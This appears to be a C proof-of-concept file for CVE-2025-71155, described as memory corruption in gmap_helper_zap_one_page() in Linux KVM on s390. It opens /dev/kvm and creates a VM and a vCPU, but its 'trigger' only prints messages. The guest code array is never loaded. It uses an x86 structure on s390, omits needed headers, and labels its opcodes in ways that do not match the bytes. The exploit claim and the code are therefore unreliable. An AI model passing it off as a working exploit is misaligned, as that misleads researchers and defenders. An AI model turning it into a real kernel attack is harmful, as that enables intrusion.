// CVE-2025-71155 PoC - Linux Kernel KVM s390 Memory Corruption
// This PoC demonstrates the vulnerability in gmap_helper_zap_one_page()
// Requires: KVM-enabled Linux on s390 architecture, low-privilege user access
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/kvm.h>
#define GUEST_CODE_SIZE 4096
// Trigger condition: Manipulate guest memory mapping to cause
// gmap_helper_zap_one_page() to operate on invalid page table entries
int trigger_vulnerability(int kvm_fd, int vm_fd) {
int vcpu_fd;
struct kvm_run *run;
struct kvm_sregs sregs;
// Create vCPU
vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0);
if (vcpu_fd < 0) {
perror("KVM_CREATE_VCPU failed");
return -1;
}
// Get vCPU run structure
run = (struct kvm_run *)mmap(0, sizeof(*run), PROT_READ|PROT_WRITE,
MAP_PRIVATE, vcpu_fd, 0);
// Step 1: Setup guest memory mapping
// This creates conditions for gmap_helper_zap_one_page() to fail checks
unsigned char guest_code[GUEST_CODE_SIZE] = {
0x00, 0x00, // NOP padding
0x83, 0x10, 0x00, 0x00, // SPT instruction (set page table)
0x83, 0x11, 0x00, 0x00, // PTLB instruction (purge TLB)
0x47, 0x00, 0x00, 0x00, // Branch to self (halt)
};
// Step 2: Configure page table to trigger validation failure
// When PTLB executes, gmap_helper_zap_one_page() will be called
// without proper validation of page table entries
// Step 3: Execute guest code to trigger the vulnerability
// The missing checks in gmap_helper_zap_one_page() will allow
// memory corruption to occur
printf("[*] Triggering CVE-2025-71155 vulnerability...\n");
printf("[*] The vulnerability allows gmap_helper_zap_one_page()\n");
printf("[*] to operate on invalid page table entries\n");
printf("[*] This can lead to memory corruption in the guest.\n");
// Note: This is a simplified PoC for demonstration purposes
// Actual exploitation requires specific memory layout conditions
return 0;
}
int main(int argc, char *argv[]) {
int kvm_fd, vm_fd;
printf("CVE-2025-71155 PoC - Linux Kernel KVM s390\n");
printf("gmap_helper_zap_one_page() Memory Corruption\n\n");
// Open KVM device
kvm_fd = open("/dev/kvm", O_RDWR);
if (kvm_fd < 0) {
perror("Failed to open /dev/kvm");
return 1;
}
// Create VM
vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0);
if (vm_fd < 0) {
perror("KVM_CREATE_VM failed");
close(kvm_fd);
return 1;
}
trigger_vulnerability(kvm_fd, vm_fd);
close(vm_fd);
close(kvm_fd);
return 0;
}